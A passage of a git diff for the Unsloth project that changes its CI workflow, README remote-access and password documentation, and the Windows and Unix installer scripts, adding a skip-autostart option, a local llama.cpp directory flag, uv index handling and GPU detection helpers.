+        run: |
+          pip install --upgrade "git+https://github.com/huggingface/trl"
+          cd unsloth
+          python -c "import trl; print('Resolved TRL', trl.__version__)"
+          PYTHONPATH=. python -m pytest \
+            tests/version_compat/test_trl_grpo_fake_run.py \
+            tests/version_compat/test_trl_fake_train_cpu.py \
+            -v --tb=short
+
   # Daily-only: same suites but with --strict on importable upstream
   # tags. Schedule-only so PR jobs stay fast; cron tolerates a flake.
   daily-fresh-fetch:
diff --git a/.gitignore b/.gitignore
index 9f7d4b8c60..39ca2226ca 100644
--- a/.gitignore
+++ b/.gitignore
@@ -11,6 +11,8 @@ outputs/
 exports/
 /datasets/
 studio/backend/assets/datasets/
+# Generated async worker / reviewer transcripts (never part of the product).
+studio/backend/async_task_outputs/
 unsloth_training_checkpoints/
 *.gguf
 *.safetensors
diff --git a/README.md b/README.md
index e3fd4e6980..ef45b91430 100644
--- a/README.md
+++ b/README.md
@@ -84,7 +84,7 @@ Use the same command to update.
 ```bash
 unsloth studio -p 8888
 ```
-For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally.
+For LAN or cloud access, add `-H 0.0.0.0` (raw port only; add `--cloudflare` for a public URL). By default, Unsloth is accessible only locally.
 
 To reach Studio over HTTPS, use `unsloth studio --secure`. Studio stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Studio reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
 
@@ -212,10 +212,23 @@ By default `unsloth studio` binds to `127.0.0.1` (this machine only). To reach i
 ```bash
 unsloth studio --secure -p 8888
 ```
-- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. Only use this on a trusted network.
+- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network (subject to your firewall). It does not create a public internet URL; add `--cloudflare` to also publish an internet-reachable `https://*.trycloudflare.com` link even behind a firewall. Only use this on a network you trust.
 ```bash
 unsloth studio -H 0.0.0.0 -p 8888
 ```
+The Cloudflare tunnel is **off by default**: `-H 0.0.0.0` exposes the raw port only, not a public internet URL. Pair the wildcard bind with `--cloudflare` (`unsloth studio -H 0.0.0.0 --cloudflare`) to also publish a public `https://*.trycloudflare.com` link, or prefer `--secure` (above), which keeps the raw port private. `--cloudflare` has no effect on a loopback bind.
+
+The first time Studio is published on a public URL (`--secure` or `--cloudflare`) with the auto-generated admin password still in place, it asks for a new admin password in the terminal (masked input with confirmation) before the public link goes up. Without an attached terminal it warns instead and keeps the bootstrap deadline: Studio shuts down after `UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT` (default 1 hour) unless the password is changed in the web UI.
+
+For headless setups that cannot answer that prompt, set the initial admin password non-interactively with `--password` (only takes effect when no password is set yet; if one already exists it is a hard error, so rotate later with `unsloth studio reset-password`):
+
+```bash
+unsloth studio --secure --password 'your-strong-password'        # visible in `ps`/history
+UNSLOTH_STUDIO_PASSWORD='your-strong-password' unsloth studio --secure   # via env var
+printf '%s\n' 'your-strong-password' | unsloth studio --secure --password -   # via stdin
+```
+
+A literal `--password VALUE` is visible in the process list and shell history, so prefer the `UNSLOTH_STUDIO_PASSWORD` env var or `--password -` (stdin) for automation. This applies to any launch (public or a headless `-H 0.0.0.0` bind), and the password is set in the parent before the server binds, so it never reaches a re-executed child process.
 
 Server-side tools (web search, Python and terminal code execution) run as your user and are on by default. Anyone who can reach the server with the API key can run code on this machine, so keep your API key private and pass `--disable-tools` when exposing Studio.
 
@@ -230,6 +243,14 @@ curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh
 $env:UNSLOTH_NO_TORCH=1; irm https://unsloth.ai/install.ps1 | iex
 ```
 
+Skip the post-install prompt that starts Studio (useful for automated installs):
+```bash
+curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_SKIP_AUTOSTART=1 sh
+```
+```powershell
+$env:UNSLOTH_SKIP_AUTOSTART=1; irm https://unsloth.ai/install.ps1 | iex
+```
+
 Pin the Python version:
 ```bash
 curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh
diff --git a/install.ps1 b/install.ps1
index f7f9540970..c25d7e7b7f 100644
--- a/install.ps1
+++ b/install.ps1
@@ -6,6 +6,7 @@
 # irm | iex cannot forward arguments, so web installs take options as env vars set
 # before the pipe (flags still work via .\install.ps1):
 #   $env:UNSLOTH_NO_TORCH=1; irm https://unsloth.ai/install.ps1 | iex       # skip PyTorch (GGUF-only)
+#   $env:UNSLOTH_SKIP_AUTOSTART=1; irm https://unsloth.ai/install.ps1 | iex # do not prompt to launch
 #   $env:UNSLOTH_PYTHON='3.12'; irm https://unsloth.ai/install.ps1 | iex    # pin Python version
 #   $env:UNSLOTH_STUDIO_HOME='C:\path'; irm https://unsloth.ai/install.ps1 | iex
 #   .\install.ps1 --no-torch                                                # equivalent flag
@@ -90,6 +91,7 @@ function Install-UnslothStudio {
         if ($TauriMode) {
             exit $Code
         }
+        throw $Message
     }
 
     # ── Parse flags ──
@@ -98,7 +100,9 @@ function Install-UnslothStudio {
     $RepoRoot = ""
     $TauriMode = $false
     $SkipTorch = $false
+    $SkipAutostart = $false
     $ShortcutsOnly = $false
+    $WithLlamaCppDir = ""
     $argList = $args
     for ($i = 0; $i -lt $argList.Count; $i++) {
         switch ($argList[$i]) {
@@ -116,11 +120,20 @@ function Install-UnslothStudio {
                 }
                 $PackageName = $argList[$i]
             }
+            "--with-llama-cpp-dir" {
+                $i++
+                if ($i -ge $argList.Count) {
+                    Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red
+                    return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.")
+                }
+                $WithLlamaCppDir = $argList[$i]
+            }
         }
     }
 
     # Env-var equivalent for web installs; an explicit flag still wins.
     if ($env:UNSLOTH_NO_TORCH -in @('1', 'true', 'yes', 'on')) { $SkipTorch = $true }
+    if ($env:UNSLOTH_SKIP_AUTOSTART -in @('1', 'true', 'yes', 'on')) { $SkipAutostart = $true }
 
     # Propagate to child processes so they also respect verbose mode.
     # Process-scoped -- does not persist.
@@ -460,6 +473,17 @@ function Install-UnslothStudio {
         param(
             [Parameter(Mandatory = $true)][ScriptBlock]$Command
         )
+        # Installer-pinned index installs (torch) must beat an inherited uv mirror
+        # (#6898): when the command pins an index, clear every uv index env var so
+        # it wins, then restore in finally. Other installs keep the user's mirror.
+        $savedUvIndex = $null
+        if ($Command.ToString() -match '--default-index') {
+            $savedUvIndex = @{}
+            foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL') {
+                $savedUvIndex[$n] = [Environment]::GetEnvironmentVariable($n)
+                Remove-Item "Env:$n" -ErrorAction SilentlyContinue
+            }
+        }
         $prevEap = $ErrorActionPreference
         $ErrorActionPreference = "Continue"
         try {
@@ -479,6 +503,7 @@ function Install-UnslothStudio {
             return [int]$LASTEXITCODE
         } finally {
             $ErrorActionPreference = $prevEap
+            if ($savedUvIndex) { foreach ($n in $savedUvIndex.Keys) { if ($null -ne $savedUvIndex[$n]) { Set-Item "Env:$n" $savedUvIndex[$n] } } }
         }
     }
 
@@ -2146,7 +2171,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.3" "unsloth-zoo>=2026.7.3" }
             if ($baseInstallExit -eq 0) {
                 # Resolve pydantic WITH deps so pip pins pydantic-core
                 # to the matching version (no-torch-runtime.txt below
@@ -2160,7 +2185,7 @@ exit 0
                 }
             }
         } else {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.3" "unsloth-zoo>=2026.7.3" }
         }
         if ($baseInstallExit -ne 0) {
             Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@@ -2191,7 +2216,7 @@ exit 0
             # ABI-incompatible torchvision/torchaudio on AMD's per-arch index.
             $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
             $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
-            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec $visionSpec $audioSpec }
+            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $torchSpec $visionSpec $audioSpec }
             if ($torchInstallExit -ne 0) {
                 # Transient AMD-index failure: fall back to a CPU base so the install
                 # still completes; Studio setup retries ROCm afterwards.
@@ -2200,7 +2225,7 @@ exit 0
                 # torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still satisfies the CPU
                 # torch>= range, so without it uv would keep the ROCm build and only swap
                 # the companions -- a mismatched venv the flavor-repair block won't fix.
-                $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
+                $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl }
                 if ($torchInstallExit -ne 0) {
                     Write-Host "[ERROR] Failed to install PyTorch (ROCm and CPU base both failed, exit code $torchInstallExit)" -ForegroundColor Red
                     return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
@@ -2214,7 +2239,7 @@ exit 0
         } else {
             Write-TauriLog "STEP" "Installing PyTorch"
             substep "installing PyTorch ($TorchIndexUrl)..."
-            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
+            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl }
             if ($torchInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install PyTorch (exit code $torchInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
@@ -2226,7 +2251,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.7.3" "unsloth-zoo>=2026.7.3" }
             if ($baseInstallExit -eq 0) {
                 # Same pydantic-with-deps trick as the migrated branch.
                 $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
@@ -2238,7 +2263,7 @@ exit 0
                 }
             }
         } elseif ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.7.3" "unsloth-zoo>=2026.7.3" }
         } else {
             $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
         }
@@ -2266,7 +2291,7 @@ exit 0
         Write-TauriLog "STEP" "Installing unsloth"
         substep "installing unsloth (this may take a few minutes)..."
         if ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.7.3" "unsloth>=2026.7.3" --torch-backend=auto }
             if ($baseInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
@@ -2297,7 +2322,7 @@ exit 0
     # keeps a stale torch==X+cpu against a CUDA index and setup.ps1 then loops on
     # "torch cpu != required cuXXX". Reinstall the right triplet when a GPU build is
     # expected: CUDA from $TorchIndexUrl, ROCm from $ROCmIndexUrl (repo.amd.com gfx*
-    # is a PEP 503 index uv resolves via --index-url, same URL the fresh ROCm install
+    # is a PEP 503 index uv resolves via --default-index, same URL the fresh ROCm install
     # above uses). --no-torch / CPU-only hosts (expected cpu) are no-ops.
     if (-not $SkipTorch) {
         $expectedTorchTag = Get-ExpectedTorchFlavorTag -TorchIndexUrl $TorchIndexUrl -ROCmIndexUrl $ROCmIndexUrl
@@ -2313,7 +2338,7 @@ exit 0
                     $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
                     $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
                     substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow"
-                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec }
+                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec }
                     if ($torchFixExit -ne 0) {
                         Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red
                         return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit)
@@ -2322,7 +2347,7 @@ exit 0
                 } elseif ($expectedTorchTag -ne 'rocm') {
                     # CUDA: stale +cpu (or wrong cuXXX) against a CUDA index -> reinstall triplet.
                     substep "PyTorch flavor mismatch (installed $installedTorchTag, need $expectedTorchTag) -- reinstalling correct build..." "Yellow"
-                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
+                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
                     if ($torchFixExit -ne 0) {
                         Write-Host "[ERROR] Failed to reinstall PyTorch with the correct CUDA build (exit code $torchFixExit)" -ForegroundColor Red
                         return (Exit-InstallFailure "Failed to reinstall PyTorch ($expectedTorchTag) (exit code $torchFixExit)" $torchFixExit)
@@ -2430,6 +2455,13 @@ exit 0
     }
     $studioArgs = @('studio', 'setup')
     if ($script:UnslothVerbose) { $studioArgs += '--verbose' }
+    if ($WithLlamaCppDir) {
+        if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) {
+            Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red
+            return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.")
+        }
+        $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path
+    }
     $env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1"
     # Hand the venv interpreter to setup.ps1 so it reuses the Python we already
     # resolved and built the venv with, instead of re-probing the system (which
@@ -2445,6 +2477,7 @@ exit 0
         } else {
             Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue
         }
+        Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue
         Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue
         Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue
     }
@@ -2583,9 +2616,10 @@ exit 0
         # Diagnostic only; never block install on a probe failure.
     }
 
-    # In interactive terminals, ask the user before starting Studio.
+    # In interactive terminals, ask the user before starting Studio unless the
+    # caller explicitly disabled the post-install prompt.
     # In non-interactive environments (CI, Docker) just print instructions.
-    $IsInteractive = [Environment]::UserInteractive -and (-not [Console]::IsInputRedirected)
+    $IsInteractive = (-not $SkipAutostart) -and [Environment]::UserInteractive -and (-not [Console]::IsInputRedirected)
     if ($IsInteractive) {
         Write-Host ""
         $reply = Read-Host "  Start Unsloth Studio now? [Y/n]"
@@ -2594,8 +2628,8 @@ exit 0
         } else {
             step "launch" "to start later, run:"
             substep "unsloth studio -p 8888"
-            substep "(add -H 0.0.0.0 to allow network / cloud access)"
-            substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
+            substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+            substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
             Write-Host ""
         }
     } else {
@@ -2615,8 +2649,8 @@ exit 0
             substep "& $_actLiteral"
             substep "unsloth studio -p 8888"
         }
-        substep "(add -H 0.0.0.0 to allow network / cloud access)"
-        substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
+        substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+        substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
         Write-Host ""
     }
 }
diff --git a/install.sh b/install.sh
index 7a9f0be87f..4a3c4471fa 100755
--- a/install.sh
+++ b/install.sh
@@ -8,8 +8,9 @@
 #
 # Piped installs take options as env vars after the pipe (a bare `| sh --no-torch`
 # makes sh reject --no-torch as its own option). Flags still work via ./install.sh:
-#   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh    # skip PyTorch (GGUF-only)
-#   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh   # pin Python version
+#   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh       # skip PyTorch (GGUF-only)
+#   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_SKIP_AUTOSTART=1 sh # do not prompt to launch
+#   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh      # pin Python version
 #   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh
 # Equivalent flags: ./install.sh --no-torch --python 3.12  (or pipe them: sh -s -- --no-torch)
 #
@@ -49,10 +50,16 @@ PACKAGE_NAME="unsloth"
 TAURI_MODE=false
 _USER_PYTHON=""
 _NO_TORCH_FLAG=false
+_SKIP_AUTOSTART=false
 _VERBOSE=false
 _SHORTCUTS_ONLY=false
 _next_is_package=false
 _next_is_python=false
+_next_is_llama_cpp_dir=false
+# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR
+# (the documented piped-install style) is honored; the --with-llama-cpp-dir
+# flag below overrides it when given.
+_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}"
 for arg in "$@"; do
     if [ "$_next_is_package" = true ]; then
         PACKAGE_NAME="$arg"
@@ -64,6 +71,11 @@ for arg in "$@"; do
         _next_is_python=false
         continue
     fi
+    if [ "$_next_is_llama_cpp_dir" = true ]; then
+        _WITH_LLAMA_CPP_DIR="$arg"
+        _next_is_llama_cpp_dir=false
+        continue
+    fi
     case "$arg" in
         --local) STUDIO_LOCAL_INSTALL=true ;;
         --package) _next_is_package=true ;;
@@ -72,11 +84,13 @@ for arg in "$@"; do
         --no-torch) _NO_TORCH_FLAG=true ;;
         --verbose|-v) _VERBOSE=true ;;
         --shortcuts-only) _SHORTCUTS_ONLY=true ;;
+        --with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;;
     esac
 done
 
 # Env-var equivalents for piped installs; an explicit flag still wins.
 case "${UNSLOTH_NO_TORCH:-}" in 1|true|TRUE|yes|YES|on|ON) _NO_TORCH_FLAG=true ;; esac
+case "${UNSLOTH_SKIP_AUTOSTART:-}" in 1|true|TRUE|yes|YES|on|ON) _SKIP_AUTOSTART=true ;; esac
 [ -z "$_USER_PYTHON" ] && [ -n "${UNSLOTH_PYTHON:-}" ] && _USER_PYTHON="$UNSLOTH_PYTHON"
 
 if [ "$_VERBOSE" = true ]; then
@@ -148,6 +162,12 @@ run_maybe_quiet() {
 run_install_cmd() {
     _label="$1"
     shift
+    # Installer-pinned index installs (torch) must beat an inherited uv mirror
+    # (#6898): when we pass --default-index, neutralize every uv index env var so
+    # the pinned index wins. Other installs keep the user's mirror.
+    case " $* " in
+        *" --default-index "*) set -- env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL "$@" ;;
+    esac
     if _is_verbose; then
         "$@" && return 0
         _rc=$?
@@ -255,6 +275,10 @@ if [ "$_next_is_python" = true ]; then
     echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2
     exit 1
 fi
+if [ "$_next_is_llama_cpp_dir" = true ]; then
+    echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2
+    exit 1
+fi
 
 # Validate --package to prevent injection into shell/Python commands.
 # Must start with a letter/digit (rejects leading dashes that uv would parse as flags).
@@ -1427,8 +1451,14 @@ if [ "$_NO_TORCH_FLAG" = true ] || [ "$MAC_INTEL" = true ]; then
     SKIP_TORCH=true
 fi
 
+# Apple Silicon: exclude broken mlx-lm 0.31.3 (QK-norm load regression for
+# gemma4 / qwen3_5; mlx-lm #1242). A curl-piped install has no overrides file
+# and skips the guarded MLX step (SKIP_STUDIO_BASE=1), so this is the only cover.
+_MLX_LM_EXCLUDE_ARG=""
+
 # Apple Silicon: override mlx-vlm / mlx-lm's transformers pin (see overrides file).
 if [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then
+    _MLX_LM_EXCLUDE_ARG="mlx-lm!=0.31.3"
     _OVERRIDES_FILE="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)/studio/backend/requirements/single-env/overrides-darwin-arm64.txt"
     if [ -f "$_OVERRIDES_FILE" ]; then
         # uv splits UV_OVERRIDE on whitespace, so a repo path with whitespace
@@ -1462,6 +1492,81 @@ elif [ "$OS" = "macos" ]; then
 fi
 tauri_diag_marker "$_TAURI_INITIAL_GPU_BRANCH" "none"
 
+# AMD GPU name from the Windows host via WMI, or empty. Discrete cards aren't in
+# /proc/cpuinfo, so ask Windows. Cached ("-" = negative), self-contained, bounded
+# to 10s. Defined here so the reroute below can use it before _run_bounded exists.
+_WSL_AMD_GPU_NAME_CACHE=""
+_wsl_amd_gpu_name() {
+    if [ -n "$_WSL_AMD_GPU_NAME_CACHE" ]; then
+        [ "$_WSL_AMD_GPU_NAME_CACHE" = "-" ] && return 1
+        printf '%s' "$_WSL_AMD_GPU_NAME_CACHE"; return 0
+    fi
+    command -v powershell.exe >/dev/null 2>&1 || { _WSL_AMD_GPU_NAME_CACHE="-"; return 1; }
+    _wag_ps="(Get-CimInstance Win32_VideoController | Where-Object { \$_.Name -match 'AMD|Radeon' } | Select-Object -First 1).Name"
+    if command -v timeout >/dev/null 2>&1; then
+        _wag_n="$(timeout 10 powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
+    else
+        _wag_n="$(powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')"
+    fi
+    if [ -n "$_wag_n" ]; then _WSL_AMD_GPU_NAME_CACHE="$_wag_n"; printf '%s' "$_wag_n"; return 0; fi
+    _WSL_AMD_GPU_NAME_CACHE="-"; return 1
+}
+
+# ── Bounded command runner ──
+# Runs a command under a 10s timeout when the `timeout` binary is available,
+# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during
+# driver init or after a reset) from hanging the installer: a timed-out probe
+# exits nonzero and is treated exactly like a failed probe. No-op semantics on
+# hosts without `timeout` (e.g. macOS) or when the probe is healthy.
+_run_bounded() {
+    if command -v timeout >/dev/null 2>&1; then
+        timeout 10 "$@"
+    else
+        "$@"
+    fi
+}
+
+# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every
+# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to
+# the AMD card). Unset means all devices visible. nvidia-smi ignores this env
+# var, so the probes below cannot see the distinction on their own.
+_cvd_hides_nvidia() {
+    [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1
+    _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]')
+    [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ]
+}
+
+# ── NVIDIA usable-GPU helper ──
+# Returns 0 (true) if an NVIDIA GPU is present and usable.
+# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs,
+# which the NVIDIA driver populates on Linux regardless of nvidia-smi state
+# -- handles PATH gaps, subprocess timeouts, and driver init races that
+# could otherwise cause nvidia-smi to fail and silence NVIDIA detection.
+# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches
+# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs.
+_has_usable_nvidia_gpu() {
+    if _cvd_hides_nvidia; then
+        return 1
+    fi
+    _nvsmi=""
+    if command -v nvidia-smi >/dev/null 2>&1; then
+        _nvsmi="nvidia-smi"
+    elif [ -x "/usr/bin/nvidia-smi" ]; then
+        _nvsmi="/usr/bin/nvidia-smi"
+    fi
+    if [ -n "$_nvsmi" ]; then
+        if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then
+            return 0
+        fi
+    fi
+    # Fallback: NVIDIA driver exposes one subdir per GPU under this path.
+    if [ -d /proc/driver/nvidia/gpus ] && \
+       [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then
+        return 0
+    fi
+    return 1
+}
+
 # Strix Halo ROCm-on-WSL only targets Ubuntu 24.04. On a newer distro (e.g. 26.04)
 # with a 24.04 distro present, re-run the install there and stop; else fall through
 # to CPU + the `wsl --install` hint below (never auto-create a distro). Runs before
@@ -1472,7 +1577,15 @@ _maybe_reroute_strixhalo_to_2404() {
     [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0
     [ "${UNSLOTH_WSL_REROUTED:-0}" = "1" ] && return 0
     [ -e /dev/dxg ] || return 0
-    grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0
+    # A usable NVIDIA GPU (common on hybrid AMD+NVIDIA hosts) means the CUDA path works on
+    # this distro, so don't reroute for AMD. _has_usable_nvidia_gpu (moved above) honors
+    # CUDA_VISIBLE_DEVICES=""/-1 and the /proc/driver/nvidia fallback for PATH/timeout gaps.
+    if _has_usable_nvidia_gpu; then return 0; fi
+    # Strix APUs show in /proc/cpuinfo; discrete cards don't, so also try WMI. Either reroutes.
+    if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \
+       && ! _wsl_amd_gpu_name >/dev/null 2>&1; then
+        return 0
+    fi
     # Already ROCm-on-WSL? leave a working GPU alone, whatever the version.
     if [ -e /opt/rocm/lib/librocdxg.so ] || [ -e /opt/rocm/lib64/librocdxg.so ]; then
         return 0
@@ -1521,6 +1634,7 @@ _maybe_reroute_strixhalo_to_2404() {
     # Forward explicit ROCm-bootstrap consent (e.g. Tauri) so the child auto-enables the
     # GPU instead of falling back to the desktop-app prompt path.
     [ "${UNSLOTH_ROCM_WSL_AUTO:-0}" = "1" ] && _rr_exports="$_rr_exports; export UNSLOTH_ROCM_WSL_AUTO=1"
